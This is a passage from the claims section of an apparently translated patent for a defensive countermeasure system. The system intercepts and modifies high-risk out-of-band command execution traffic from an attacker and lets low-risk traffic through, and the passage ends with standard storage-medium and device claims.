high-risk out-of-band command execution, the interference strategy is interception and modification; If the behavior type is low-risk outbound command execution, the interference strategy is release; The traffic tampering module is used to perform corresponding operations on the communication between the attacker and the protected system according to the interference strategy.

7. A storage medium, characterized in that: The storage medium stores one or more programs, which, when executed by a processor, implement the lightweight countermeasure method based on interference strategy according to any one of claims 1 to 5.

8. An electronic device comprising a memory and a processor, wherein: The memory is used to store computer programs; When the processor is used to execute the computer program stored in the memory, it implements the lightweight countermeasure method based on the interference strategy as described in any one of claims 1 to 5.

Images